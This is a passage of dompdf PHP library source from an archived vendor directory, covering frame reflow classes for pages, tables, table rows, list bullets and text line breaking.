        $cell_height = $height / count($cells["rows"]);

        if ($style_height <= $height) {
            $cell_height += $top_space + $bottom_space;
        }

        foreach ($cells["rows"] as $i) {
            $cellmap->set_row_height($i, $cell_height);
        }

        $style->set_used("height", $height);

        $this->_text_align();
        $this->vertical_align();

        // Handle relative positioning
        foreach ($frame->get_children() as $child) {
            $this->position_relative($child);
        }
    }

    public function get_min_max_content_width(): array
    {
        // Ignore percentage values for a specified width here, as they are
        // relative to the table width, which is not determined yet
        $style = $this->_frame->get_style();
        $width = $style->width;
        $fixed_width = $width !== "auto" && !Helpers::is_percent($width);

        [$min, $max] = $this->get_min_max_child_width();

        // For table cells: Use specified width if it is greater than the
        // minimum defined by the content
        if ($fixed_width) {
            $width = (float) $style->length_in_pt($width, 0);
            $min = max($width, $min);
            $max = $min;
        }

        // Handle min/max width style properties
        $min_width = $this->resolve_min_width(null);
        $max_width = $this->resolve_max_width(null);
        $min = Helpers::clamp($min, $min_width, $max_width);
        $max = Helpers::clamp($max, $min_width, $max_width);

        return [$min, $max];
    }
}
vendor/dompdf/dompdf/src/FrameReflower/NullFrameReflower.php000066600000001267151150443010020222 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameReflower;

use Dompdf\Frame;
use Dompdf\FrameDecorator\Block as BlockFrameDecorator;

/**
 * Dummy reflower
 *
 * @package dompdf
 */
class NullFrameReflower extends AbstractFrameReflower
{

    /**
     * NullFrameReflower constructor.
     * @param Frame $frame
     */
    function __construct(Frame $frame)
    {
        parent::__construct($frame);
    }

    /**
     * @param BlockFrameDecorator|null $block
     */
    function reflow(BlockFrameDecorator $block = null)
    {
        return;
    }

}
vendor/dompdf/dompdf/src/FrameReflower/ListBullet.php000066600000002256151150443010016711 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameReflower;

use Dompdf\FrameDecorator\Block as BlockFrameDecorator;
use Dompdf\FrameDecorator\ListBullet as ListBulletFrameDecorator;

/**
 * Reflows list bullets
 *
 * @package dompdf
 */
class ListBullet extends AbstractFrameReflower
{

    /**
     * ListBullet constructor.
     * @param ListBulletFrameDecorator $frame
     */
    function __construct(ListBulletFrameDecorator $frame)
    {
        parent::__construct($frame);
    }

    /**
     * @param BlockFrameDecorator|null $block
     */
    function reflow(BlockFrameDecorator $block = null)
    {
        if ($block === null) {
            return;
        }

        /** @var ListBulletFrameDecorator */
        $frame = $this->_frame;
        $style = $frame->get_style();

        $style->set_used("width", $frame->get_width());
        $frame->position();

        if ($style->list_style_position === "inside") {
            $block->add_frame_to_line($frame);
        } else {
            $block->add_dangling_marker($frame);
        }
    }
}
vendor/dompdf/dompdf/src/FrameReflower/Page.php000066600000013526151150443010015504 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameReflower;

use Dompdf\Frame;
use Dompdf\FrameDecorator\Block as BlockFrameDecorator;
use Dompdf\FrameDecorator\Page as PageFrameDecorator;

/**
 * Reflows pages
 *
 * @package dompdf
 */
class Page extends AbstractFrameReflower
{

    /**
     * Cache of the callbacks array
     *
     * @var array
     */
    private $_callbacks;

    /**
     * Cache of the canvas
     *
     * @var \Dompdf\Canvas
     */
    private $_canvas;

    /**
     * Page constructor.
     * @param PageFrameDecorator $frame
     */
    function __construct(PageFrameDecorator $frame)
    {
        parent::__construct($frame);
    }

    /**
     * @param PageFrameDecorator $frame
     * @param int $page_number
     */
    function apply_page_style(Frame $frame, $page_number)
    {
        $style = $frame->get_style();
        $page_styles = $style->get_stylesheet()->get_page_styles();

        // http://www.w3.org/TR/CSS21/page.html#page-selectors
        if (count($page_styles) > 1) {
            $odd = $page_number % 2 == 1;
            $first = $page_number == 1;

            $style = clone $page_styles["base"];

            // FIXME RTL
            if ($odd && isset($page_styles[":right"])) {
                $style->merge($page_styles[":right"]);
            }

            if ($odd && isset($page_styles[":odd"])) {
                $style->merge($page_styles[":odd"]);
            }

            // FIXME RTL
            if (!$odd && isset($page_styles[":left"])) {
                $style->merge($page_styles[":left"]);
            }

            if (!$odd && isset($page_styles[":even"])) {
                $style->merge($page_styles[":even"]);
            }

            if ($first && isset($page_styles[":first"])) {
                $style->merge($page_styles[":first"]);
            }

            $frame->set_style($style);
        }

        $frame->calculate_bottom_page_edge();
    }

    /**
     * Paged layout:
     * http://www.w3.org/TR/CSS21/page.html
     *
     * @param BlockFrameDecorator|null $block
     */
    function reflow(BlockFrameDecorator $block = null)
    {
        /** @var PageFrameDecorator $frame */
        $frame = $this->_frame;
        $child = $frame->get_first_child();
        $fixed_children = [];
        $prev_child = null;
        $current_page = 0;

        while ($child) {
            $this->apply_page_style($frame, $current_page + 1);

            $style = $frame->get_style();

            // Pages are only concerned with margins
            $cb = $frame->get_containing_block();
            $left = (float)$style->length_in_pt($style->margin_left, $cb["w"]);
            $right = (float)$style->length_in_pt($style->margin_right, $cb["w"]);
            $top = (float)$style->length_in_pt($style->margin_top, $cb["h"]);
            $bottom = (float)$style->length_in_pt($style->margin_bottom, $cb["h"]);

            $content_x = $cb["x"] + $left;
            $content_y = $cb["y"] + $top;
            $content_width = $cb["w"] - $left - $right;
            $content_height = $cb["h"] - $top - $bottom;

            // Only if it's the first page, we save the nodes with a fixed position
            if ($current_page == 0) {
                foreach ($child->get_children() as $onechild) {
                    if ($onechild->get_style()->position === "fixed") {
                        $fixed_children[] = $onechild->deep_copy();
                    }
                }
                $fixed_children = array_reverse($fixed_children);
            }

            $child->set_containing_block($content_x, $content_y, $content_width, $content_height);

            // Check for begin reflow callback
            $this->_check_callbacks("begin_page_reflow", $child);

            //Insert a copy of each node which have a fixed position
            if ($current_page >= 1) {
                foreach ($fixed_children as $fixed_child) {
                    $child->insert_child_before($fixed_child->deep_copy(), $child->get_first_child());
                }
            }

            $child->reflow();
            $next_child = $child->get_next_sibling();

            // Check for begin render callback
            $this->_check_callbacks("begin_page_render", $child);

            // Render the page
            $frame->get_renderer()->render($child);

            // Check for end render callback
            $this->_check_callbacks("end_page_render", $child);

            if ($next_child) {
                $frame->next_page();
            }

            // Wait to dispose of all frames on the previous page
            // so callback will have access to them
            if ($prev_child) {
                $prev_child->dispose(true);
            }
            $prev_child = $child;
            $child = $next_child;
            $current_page++;
        }

        // Dispose of previous page if it still exists
        if ($prev_child) {
            $prev_child->dispose(true);
        }
    }

    /**
     * Check for callbacks that need to be performed when a given event
     * gets triggered on a page
     *
     * @param string $event The type of event
     * @param Frame  $frame The frame that event is triggered on
     */
    protected function _check_callbacks(string $event, Frame $frame): void
    {
        if (!isset($this->_callbacks)) {
            $dompdf = $this->get_dompdf();
            $this->_callbacks = $dompdf->getCallbacks();
            $this->_canvas = $dompdf->getCanvas();
        }

        if (isset($this->_callbacks[$event])) {
            $fs = $this->_callbacks[$event];
            $canvas = $this->_canvas;
            $fontMetrics = $this->get_dompdf()->getFontMetrics();

            foreach ($fs as $f) {
                $f($frame, $canvas, $fontMetrics);
            }
        }
    }
}
vendor/dompdf/dompdf/src/FrameReflower/Table.php000066600000041612151150443010015654 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameReflower;

use Dompdf\FrameDecorator\Block as BlockFrameDecorator;
use Dompdf\FrameDecorator\Table as TableFrameDecorator;
use Dompdf\Helpers;

/**
 * Reflows tables
 *
 * @package dompdf
 */
class Table extends AbstractFrameReflower
{
    /**
     * Frame for this reflower
     *
     * @var TableFrameDecorator
     */
    protected $_frame;

    /**
     * Cache of results between call to get_min_max_width and assign_widths
     *
     * @var array
     */
    protected $_state;

    /**
     * Table constructor.
     * @param TableFrameDecorator $frame
     */
    function __construct(TableFrameDecorator $frame)
    {
        $this->_state = null;
        parent::__construct($frame);
    }

    /**
     * State is held here so it needs to be reset along with the decorator
     */
    public function reset(): void
    {
        parent::reset();
        $this->_state = null;
    }

    protected function _assign_widths()
    {
        $style = $this->_frame->get_style();

        // Find the min/max width of the table and sort the columns into
        // absolute/percent/auto arrays
        $delta = $this->_state["width_delta"];
        $min_width = $this->_state["min_width"];
        $max_width = $this->_state["max_width"];
        $percent_used = $this->_state["percent_used"];
        $absolute_used = $this->_state["absolute_used"];
        $auto_min = $this->_state["auto_min"];

        $absolute =& $this->_state["absolute"];
        $percent =& $this->_state["percent"];
        $auto =& $this->_state["auto"];

        // Determine the actual width of the table (excluding borders and
        // padding)
        $cb = $this->_frame->get_containing_block();
        $columns =& $this->_frame->get_cellmap()->get_columns();

        $width = $style->width;
        $min_table_width = $this->resolve_min_width($cb["w"]) - $delta;

        if ($width !== "auto") {
            $preferred_width = (float) $style->length_in_pt($width, $cb["w"]) - $delta;

            if ($preferred_width < $min_table_width) {
                $preferred_width = $min_table_width;
            }

            if ($preferred_width > $min_width) {
                $width = $preferred_width;
            } else {
                $width = $min_width;
            }

        } else {
            if ($max_width + $delta < $cb["w"]) {
                $width = $max_width;
            } elseif ($cb["w"] - $delta > $min_width) {
                $width = $cb["w"] - $delta;
            } else {
                $width = $min_width;
            }

            if ($width < $min_table_width) {
                $width = $min_table_width;
            }

        }

        // Store our resolved width
        $style->set_used("width", $width);

        $cellmap = $this->_frame->get_cellmap();

        if ($cellmap->is_columns_locked()) {
            return;
        }

        // If the whole table fits on the page, then assign each column it's max width
        if ($width == $max_width) {
            foreach ($columns as $i => $col) {
                $cellmap->set_column_width($i, $col["max-width"]);
            }

            return;
        }

        // Determine leftover and assign it evenly to all columns
        if ($width > $min_width) {
            // We have three cases to deal with:
            //
            // 1. All columns are auto or absolute width.  In this case we
            // distribute extra space across all auto columns weighted by the
            // difference between their max and min width, or by max width only
            // if the width of the table is larger than the max width for all
            // columns.
            //
            // 2. Only absolute widths have been specified, no auto columns.  In
            // this case we distribute extra space across all columns weighted
            // by their absolute width.
            //
            // 3. Percentage widths have been specified.  In this case we normalize
            // the percentage values and try to assign widths as fractions of
            // the table width. Absolute column widths are fully satisfied and
            // any remaining space is evenly distributed among all auto columns.

            // Case 1:
            if ($percent_used == 0 && count($auto)) {
                foreach ($absolute as $i) {
                    $w = $columns[$i]["min-width"];
                    $cellmap->set_column_width($i, $w);
                }

                if ($width < $max_width) {
                    $increment = $width - $min_width;
                    $table_delta = $max_width - $min_width;

                    foreach ($auto as $i) {
                        $min = $columns[$i]["min-width"];
                        $max = $columns[$i]["max-width"];
                        $col_delta = $max - $min;
                        $w = $min + $increment * ($col_delta / $table_delta);
                        $cellmap->set_column_width($i, $w);
                    }
                } else {
                    $increment = $width - $max_width;
                    $auto_max = $max_width - $absolute_used;

                    foreach ($auto as $i) {
                        $max = $columns[$i]["max-width"];
                        $f = $auto_max > 0 ? $max / $auto_max : 1 / count($auto);
                        $w = $max + $increment * $f;
                        $cellmap->set_column_width($i, $w);
                    }
                }
                return;
            }

            // Case 2:
            if ($percent_used == 0 && !count($auto)) {
                $increment = $width - $absolute_used;

                foreach ($absolute as $i) {
                    $abs = $columns[$i]["min-width"];
                    $f = $absolute_used > 0 ? $abs / $absolute_used : 1 / count($absolute);
                    $w = $abs + $increment * $f;
                    $cellmap->set_column_width($i, $w);
                }
                return;
            }

            // Case 3:
            if ($percent_used > 0) {
                // Scale percent values if the total percentage is > 100 or
                // there are no auto values to take up slack
                if ($percent_used > 100 || count($auto) == 0) {
                    $scale = 100 / $percent_used;
                } else {
                    $scale = 1;
                }

                // Account for the minimum space used by the unassigned auto
                // columns, by the columns with absolute widths, and the
                // percentage columns following the current one
                $used_width = $auto_min + $absolute_used;

                foreach ($absolute as $i) {
                    $w = $columns[$i]["min-width"];
                    $cellmap->set_column_width($i, $w);
                }

                $percent_min = 0;

                foreach ($percent as $i) {
                    $percent_min += $columns[$i]["min-width"];
                }

                // First-come, first served
                foreach ($percent as $i) {
                    $min = $columns[$i]["min-width"];
                    $percent_min -= $min;
                    $slack = $width - $used_width - $percent_min;

                    $columns[$i]["percent"] *= $scale;
                    $w = min($columns[$i]["percent"] * $width / 100, $slack);

                    if ($w < $min) {
                        $w = $min;
                    }

                    $cellmap->set_column_width($i, $w);
                    $used_width += $w;
                }

                // This works because $used_width includes the min-width of each
                // unassigned column
                if (count($auto) > 0) {
                    $increment = ($width - $used_width) / count($auto);

                    foreach ($auto as $i) {
                        $w = $columns[$i]["min-width"] + $increment;
                        $cellmap->set_column_width($i, $w);
                    }
                }
                return;
            }
        } else {
            // We are over-constrained:
            // Each column gets its minimum width
            foreach ($columns as $i => $col) {
                $cellmap->set_column_width($i, $col["min-width"]);
            }
        }
    }

    /**
     * Determine the frame's height based on min/max height
     *
     * @return float
     */
    protected function _calculate_height()
    {
        $frame = $this->_frame;
        $style = $frame->get_style();
        $cb = $frame->get_containing_block();

        $height = $style->length_in_pt($style->height, $cb["h"]);

        $cellmap = $frame->get_cellmap();
        $cellmap->assign_frame_heights();
        $rows = $cellmap->get_rows();

        // Determine our content height
        $content_height = 0.0;
        foreach ($rows as $r) {
            $content_height += $r["height"];
        }

        if ($height === "auto") {
            $height = $content_height;
        }

        // Handle min/max height
        // https://www.w3.org/TR/CSS21/visudet.html#min-max-heights
        $min_height = $this->resolve_min_height($cb["h"]);
        $max_height = $this->resolve_max_height($cb["h"]);
        $height = Helpers::clamp($height, $min_height, $max_height);

        // Use the content height or the height value, whichever is greater
        if ($height <= $content_height) {
            $height = $content_height;
        } else {
            // FIXME: Borders and row positions are not properly updated by this
            // $cellmap->set_frame_heights($height, $content_height);
        }

        return $height;
    }

    /**
     * @param BlockFrameDecorator|null $block
     */
    function reflow(BlockFrameDecorator $block = null)
    {
        /** @var TableFrameDecorator */
        $frame = $this->_frame;

        // Check if a page break is forced
        $page = $frame->get_root();
        $page->check_forced_page_break($frame);

        // Bail if the page is full
        if ($page->is_full()) {
            return;
        }

        // Let the page know that we're reflowing a table so that splits
        // are suppressed (simply setting page-break-inside: avoid won't
        // work because we may have an arbitrary number of block elements
        // inside tds.)
        $page->table_reflow_start();

        $this->determine_absolute_containing_block();

        // Counters and generated content
        $this->_set_content();

        // Collapse vertical margins, if required
        $this->_collapse_margins();

        // Table layout algorithm:
        // http://www.w3.org/TR/CSS21/tables.html#auto-table-layout

        if (is_null($this->_state)) {
            $this->get_min_max_width();
        }

        $cb = $frame->get_containing_block();
        $style = $frame->get_style();

        // This is slightly inexact, but should be okay.  Add half the
        // border-spacing to the table as padding.  The other half is added to
        // the cells themselves.
        if ($style->border_collapse === "separate") {
            [$h, $v] = $style->border_spacing;
            $v = $v / 2;
            $h = $h / 2;

            $style->set_used("padding_left", (float)$style->length_in_pt($style->padding_left, $cb["w"]) + $h);
            $style->set_used("padding_right", (float)$style->length_in_pt($style->padding_right, $cb["w"]) + $h);
            $style->set_used("padding_top", (float)$style->length_in_pt($style->padding_top, $cb["w"]) + $v);
            $style->set_used("padding_bottom", (float)$style->length_in_pt($style->padding_bottom, $cb["w"]) + $v);
        }

        $this->_assign_widths();

        // Adjust left & right margins, if they are auto
        $delta = $this->_state["width_delta"];
        $width = $style->width;
        $left = $style->length_in_pt($style->margin_left, $cb["w"]);
        $right = $style->length_in_pt($style->margin_right, $cb["w"]);

        $diff = (float) $cb["w"] - (float) $width - $delta;

        if ($left === "auto" && $right === "auto") {
            if ($diff < 0) {
                $left = 0;
                $right = $diff;
            } else {
                $left = $right = $diff / 2;
            }
        } else {
            if ($left === "auto") {
                $left = max($diff - $right, 0);
            }
            if ($right === "auto") {
                $right = max($diff - $left, 0);
            }
        }

        $style->set_used("margin_left", $left);
        $style->set_used("margin_right", $right);

        $frame->position();
        [$x, $y] = $frame->get_position();

        // Determine the content edge
        $offset_x = (float)$left + (float)$style->length_in_pt([
            $style->padding_left,
            $style->border_left_width
        ], $cb["w"]);
        $offset_y = (float)$style->length_in_pt([
            $style->margin_top,
            $style->border_top_width,
            $style->padding_top
        ], $cb["w"]);
        $content_x = $x + $offset_x;
        $content_y = $y + $offset_y;

        if (isset($cb["h"])) {
            $h = $cb["h"];
        } else {
            $h = null;
        }

        $cellmap = $frame->get_cellmap();
        $col =& $cellmap->get_column(0);
        $col["x"] = $offset_x;

        $row =& $cellmap->get_row(0);
        $row["y"] = $offset_y;

        $cellmap->assign_x_positions();

        // Set the containing block of each child & reflow
        foreach ($frame->get_children() as $child) {
            $child->set_containing_block($content_x, $content_y, $width, $h);
            $child->reflow();

            if (!$page->in_nested_table()) {
                // Check if a split has occurred
                $page->check_page_break($child);
    
                if ($page->is_full()) {
                    break;
                }
            }
        }

        // Stop reflow if a page break has occurred before the frame, in which
        // case it has been reset, including its position
        if ($page->is_full() && $frame->get_position("x") === null) {
            $page->table_reflow_end();
            return;
        }

        // Assign heights to our cells:
        $style->set_used("height", $this->_calculate_height());

        $page->table_reflow_end();

        if ($block && $frame->is_in_flow()) {
            $block->add_frame_to_line($frame);

            if ($frame->is_block_level()) {
                $block->add_line();
            }
        }
    }

    public function get_min_max_width(): array
    {
        if (!is_null($this->_min_max_cache)) {
            return $this->_min_max_cache;
        }

        $style = $this->_frame->get_style();
        $cellmap = $this->_frame->get_cellmap();

        $this->_frame->normalize();

        // Add the cells to the cellmap (this will calculate column widths as
        // frames are added)
        $cellmap->add_frame($this->_frame);

        // Find the min/max width of the table and sort the columns into
        // absolute/percent/auto arrays
        $this->_state = [];
        $this->_state["min_width"] = 0;
        $this->_state["max_width"] = 0;

        $this->_state["percent_used"] = 0;
        $this->_state["absolute_used"] = 0;
        $this->_state["auto_min"] = 0;

        $this->_state["absolute"] = [];
        $this->_state["percent"] = [];
        $this->_state["auto"] = [];

        $columns =& $cellmap->get_columns();
        foreach ($columns as $i => $col) {
            $this->_state["min_width"] += $col["min-width"];
            $this->_state["max_width"] += $col["max-width"];

            if ($col["absolute"] > 0) {
                $this->_state["absolute"][] = $i;
                $this->_state["absolute_used"] += $col["min-width"];
            } elseif ($col["percent"] > 0) {
                $this->_state["percent"][] = $i;
                $this->_state["percent_used"] += $col["percent"];
            } else {
                $this->_state["auto"][] = $i;
                $this->_state["auto_min"] += $col["min-width"];
            }
        }

        // Account for margins, borders, padding, and border spacing
        $cb_w = $this->_frame->get_containing_block("w");
        $lm = (float) $style->length_in_pt($style->margin_left, $cb_w);
        $rm = (float) $style->length_in_pt($style->margin_right, $cb_w);

        $dims = [
            $style->border_left_width,
            $style->border_right_width,
            $style->padding_left,
            $style->padding_right
        ];

        if ($style->border_collapse !== "collapse") {
            list($dims[]) = $style->border_spacing;
        }

        $delta = (float) $style->length_in_pt($dims, $cb_w);

        $this->_state["width_delta"] = $delta;

        $min_width = $this->_state["min_width"] + $delta + $lm + $rm;
        $max_width = $this->_state["max_width"] + $delta + $lm + $rm;

        return $this->_min_max_cache = [
            $min_width,
            $max_width,
            "min" => $min_width,
            "max" => $max_width
        ];
    }
}
vendor/dompdf/dompdf/src/FrameReflower/TableRow.php000066600000004223151150443010016341 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameReflower;

use Dompdf\FrameDecorator\Block as BlockFrameDecorator;
use Dompdf\FrameDecorator\Table as TableFrameDecorator;
use Dompdf\FrameDecorator\TableRow as TableRowFrameDecorator;
use Dompdf\Exception;

/**
 * Reflows table rows
 *
 * @package dompdf
 */
class TableRow extends AbstractFrameReflower
{
    /**
     * TableRow constructor.
     * @param TableRowFrameDecorator $frame
     */
    function __construct(TableRowFrameDecorator $frame)
    {
        parent::__construct($frame);
    }

    /**
     * @param BlockFrameDecorator|null $block
     */
    function reflow(BlockFrameDecorator $block = null)
    {
        /** @var TableRowFrameDecorator */
        $frame = $this->_frame;

        // Check if a page break is forced
        $page = $frame->get_root();
        $page->check_forced_page_break($frame);

        // Bail if the page is full
        if ($page->is_full()) {
            return;
        }

        // Counters and generated content
        $this->_set_content();

        $frame->position();
        $style = $frame->get_style();
        $cb = $frame->get_containing_block();

        foreach ($frame->get_children() as $child) {
            $child->set_containing_block($cb);
            $child->reflow();

            if ($page->is_full()) {
                break;
            }
        }

        if ($page->is_full()) {
            return;
        }

        $table = TableFrameDecorator::find_parent_table($frame);
        if ($table === null) {
            throw new Exception("Parent table not found for table row");
        }
        $cellmap = $table->get_cellmap();

        $style->set_used("width", $cellmap->get_frame_width($frame));
        $style->set_used("height", $cellmap->get_frame_height($frame));

        $frame->set_position($cellmap->get_frame_position($frame));
    }

    /**
     * @throws Exception
     */
    public function get_min_max_width(): array
    {
        throw new Exception("Min/max width is undefined for table rows");
    }
}
vendor/dompdf/dompdf/src/FrameReflower/Text.php000066600000051163151150443010015553 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameReflower;

use Dompdf\Exception;
use Dompdf\FontMetrics;
use Dompdf\FrameDecorator\Block as BlockFrameDecorator;
use Dompdf\FrameDecorator\Inline as InlineFrameDecorator;
use Dompdf\FrameDecorator\Text as TextFrameDecorator;
use Dompdf\Helpers;

/**
 * Reflows text frames.
 *
 * @package dompdf
 */
class Text extends AbstractFrameReflower
{
    /**
     * PHP string representation of HTML entity <shy>
     */
    const SOFT_HYPHEN = "\xC2\xAD";

    /**
     * The regex splits on everything that's a separator (^\S double negative),
     * excluding the following non-breaking space characters:
     * * nbsp (\xA0)
     * * narrow nbsp (\x{202F})
     * * figure space (\x{2007})
     */
    public static $_whitespace_pattern = '/([^\S\xA0\x{202F}\x{2007}]+)/u';

    /**
     * The regex splits on everything that's a separator (^\S double negative)
     * plus dashes, excluding the following non-breaking space characters:
     * * nbsp (\xA0)
     * * narrow nbsp (\x{202F})
     * * figure space (\x{2007})
     */
    public static $_wordbreak_pattern = '/([^\S\xA0\x{202F}\x{2007}\n]+|\R|\-+|\xAD+)/u';

    /**
     * Frame for this reflower
     *
     * @var TextFrameDecorator
     */
    protected $_frame;

    /**
     * Saves trailing whitespace trimmed after a line break, so it can be
     * restored when needed.
     *
     * @var string|null
     */
    protected $trailingWs = null;

    /**
     * @var FontMetrics
     */
    private $fontMetrics;

    /**
     * @param TextFrameDecorator $frame
     * @param FontMetrics $fontMetrics
     */
    public function __construct(TextFrameDecorator $frame, FontMetrics $fontMetrics)
    {
        parent::__construct($frame);
        $this->setFontMetrics($fontMetrics);
    }

    /**
     * Apply text transform and white-space collapse according to style.
     *
     * * http://www.w3.org/TR/CSS21/text.html#propdef-text-transform
     * * http://www.w3.org/TR/CSS21/text.html#propdef-white-space
     *
     * @param string $text
     * @return string
     */
    protected function pre_process_text(string $text): string
    {
        $style = $this->_frame->get_style();

        // Handle text transform
        switch ($style->text_transform) {
            case "capitalize":
                $text = Helpers::mb_ucwords($text);
                break;
            case "uppercase":
                $text = mb_convert_case($text, MB_CASE_UPPER);
                break;
            case "lowercase":
                $text = mb_convert_case($text, MB_CASE_LOWER);
                break;
            default:
                break;
        }

        // Handle white-space collapse
        switch ($style->white_space) {
            default:
            case "normal":
            case "nowrap":
                $text = preg_replace(self::$_whitespace_pattern, " ", $text) ?? "";
                break;

            case "pre-line":
                // Collapse white space except for line breaks
                $text = preg_replace('/([^\S\xA0\x{202F}\x{2007}\n]+)/u', " ", $text) ?? "";
                break;

            case "pre":
            case "pre-wrap":
                break;

        }

        return $text;
    }

    /**
     * @param string              $text
     * @param BlockFrameDecorator $block
     * @param bool                $nowrap
     *
     * @return int|false
     */
    protected function line_break(string $text, BlockFrameDecorator $block, bool $nowrap = false)
    {
        $fontMetrics = $this->getFontMetrics();
        $frame = $this->_frame;
        $style = $frame->get_style();
        $font = $style->font_family;
        $size = $style->font_size;
        $word_spacing = $style->word_spacing;
        $letter_spacing = $style->letter_spacing;

        // Determine the available width
        $current_line = $block->get_current_line_box();
        $line_width = $frame->get_containing_block("w");
        $current_line_width = $current_line->left + $current_line->w + $current_line->right;
        $available_width = $line_width - $current_line_width;

        // Determine the frame width including margin, padding & border
        $visible_text = preg_replace('/\xAD/u', "", $text);
        $text_width = $fontMetrics->getTextWidth($visible_text, $font, $size, $word_spacing, $letter_spacing);
        $mbp_width = (float) $style->length_in_pt([
            $style->margin_left,
            $style->border_left_width,
            $style->padding_left,
            $style->padding_right,
            $style->border_right_width,
            $style->margin_right
        ], $line_width);
        $frame_width = $text_width + $mbp_width;

        if (Helpers::lengthLessOrEqual($frame_width, $available_width)) {
            return false;
        }

        $force_first = $current_line->left == 0
            && $current_line->right == 0
            && $current_line->is_empty();

        if ($nowrap) {
            return $force_first ? false : 0;
        }

        // Split the text into words
        $words = preg_split(self::$_wordbreak_pattern, $text, -1, PREG_SPLIT_DELIM_CAPTURE);
        $wc = count($words);

        // Determine the split point
        $width = 0.0;
        $str = "";

        $space_width = $fontMetrics->getTextWidth(" ", $font, $size, $word_spacing, $letter_spacing);
        $shy_width = $fontMetrics->getTextWidth(self::SOFT_HYPHEN, $font, $size);

        // @todo support <wbr>
        for ($i = 0; $i < $wc; $i += 2) {
            // Allow trailing white space to overflow. White space is always
            // collapsed to the standard space character currently, so only
            // handle that for now
            $sep = $words[$i + 1] ?? "";
            $word = $sep === " " ? $words[$i] : $words[$i] . $sep;
            $word_width = $fontMetrics->getTextWidth($word, $font, $size, $word_spacing, $letter_spacing);
            $used_width = $width + $word_width + $mbp_width;

            if ($used_width > 0 && Helpers::lengthGreater($used_width, $available_width)) {
                // If the previous split happened by soft hyphen, we have to
                // append its width again because the last hyphen of a line
                // won't be removed
                if (isset($words[$i - 1]) && self::SOFT_HYPHEN === $words[$i - 1]) {
                    $width += $shy_width;
                }
                break;
            }

            // If the word is splitted by soft hyphen, but no line break is needed
            // we have to reduce the width. But the str is not modified, otherwise
            // the wrong offset is calculated at the end of this method.
            if ($sep === self::SOFT_HYPHEN) {
                $width += $word_width - $shy_width;
                $str .= $word;
            } elseif ($sep === " ") {
                $width += $word_width + $space_width;
                $str .= $word . $sep;
            } else {
                $width += $word_width;
                $str .= $word;
            }
        }

        // The first word has overflowed. Force it onto the line, or as many
        // characters as fit if breaking words is allowed
        if ($force_first && $width === 0.0) {
            if ($sep === " ") {
                $word .= $sep;
            }

            // https://www.w3.org/TR/css-text-3/#overflow-wrap-property
            $wrap = $style->overflow_wrap;
            $break_word = $wrap === "anywhere" || $wrap === "break-word";

            if ($break_word) {
                $s = "";
                $len = mb_strlen($word);

                for ($j = 0; $j < $len; $j++) {
                    $c = mb_substr($word, $j, 1);
                    $w = $fontMetrics->getTextWidth($s . $c, $font, $size, $word_spacing, $letter_spacing);

                    if (Helpers::lengthGreater($w, $available_width)) {
                        break;
                    }

                    $s .= $c;
                }

                // Always force the first character onto the line
                $str = $j === 0 ? $s . $c : $s;
            } else {
                $str = $word;
            }
        }

        $offset = mb_strlen($str);
        return $offset;
    }

    /**
     * @param string $text
     * @return int|false
     */
    protected function newline_break(string $text)
    {
        if (($i = mb_strpos($text, "\n")) === false) {
            return false;
        }

        return $i + 1;
    }

    /**
     * @param BlockFrameDecorator $block
     * @return bool|null Whether to add a new line at the end. `null` if reflow
     *         should be stopped.
     */
    protected function layout_line(BlockFrameDecorator $block): ?bool
    {
        $frame = $this->_frame;
        $style = $frame->get_style();
        $current_line = $block->get_current_line_box();
        $text = $frame->get_text();

        // Trim leading white space if this is the first text on the line
        if ($current_line->is_empty() && !$frame->is_pre()) {
            $text = ltrim($text, " ");
        }

        if ($text === "") {
            $frame->set_text("");
            $style->set_used("width", 0.0);
            return false;
        }

        // Determine the next line break
        // http://www.w3.org/TR/CSS21/text.html#propdef-white-space
        $white_space = $style->white_space;
        $nowrap = $white_space === "nowrap" || $white_space === "pre";

        switch ($white_space) {
            default:
            case "normal":
            case "nowrap":
                $split = $this->line_break($text, $block, $nowrap);
                $add_line = false;
                break;

            case "pre":
            case "pre-line":
            case "pre-wrap":
                $hard_split = $this->newline_break($text);
                $first_line = $hard_split !== false
                    ? mb_substr($text, 0, $hard_split)
                    : $text;
                $soft_split = $this->line_break($first_line, $block, $nowrap);

                $split = $soft_split !== false ? $soft_split : $hard_split;
                $add_line = $hard_split !== false;
                break;
        }

        if ($split === 0) {
            // Make sure to move text when floating frames leave no space to
            // place anything onto the line
            // TODO: Would probably be better to move just below the current
            // floating frame instead of trying to place text in line-height
            // increments
            if ($current_line->h === 0.0) {
                // Line height might be 0
                $h = max($frame->get_margin_height(), 1.0);
                $block->maximize_line_height($h, $frame);
            }

            // Break line and repeat layout
            $block->add_line();

            // Find the appropriate inline ancestor to split
            $child = $frame;
            $p = $child->get_parent();
            while ($p instanceof InlineFrameDecorator && !$child->get_prev_sibling()) {
                $child = $p;
                $p = $p->get_parent();
            }

            if ($p instanceof InlineFrameDecorator) {
                // Split parent and stop current reflow. Reflow continues
                // via child-reflow loop of split parent
                $p->split($child);
                return null;
            }

            return $this->layout_line($block);
        }

        // Final split point is determined
        if ($split !== false && $split < mb_strlen($text)) {
            // Split the line
            $frame->set_text($text);
            $frame->split_text($split, true);
            $add_line = true;

            // Remove inner soft hyphens
            $t = $frame->get_text();
            $shyPosition = mb_strpos($t, self::SOFT_HYPHEN);
            if (false !== $shyPosition && $shyPosition < mb_strlen($t) - 1) {
                $t = str_replace(self::SOFT_HYPHEN, "", mb_substr($t, 0, -1)) . mb_substr($t, -1);
                $frame->set_text($t);
            }
        } else {
            // No split required
            // Remove soft hyphens
            $text = str_replace(self::SOFT_HYPHEN, "", $text);
            $frame->set_text($text);
        }

        // Set our new width
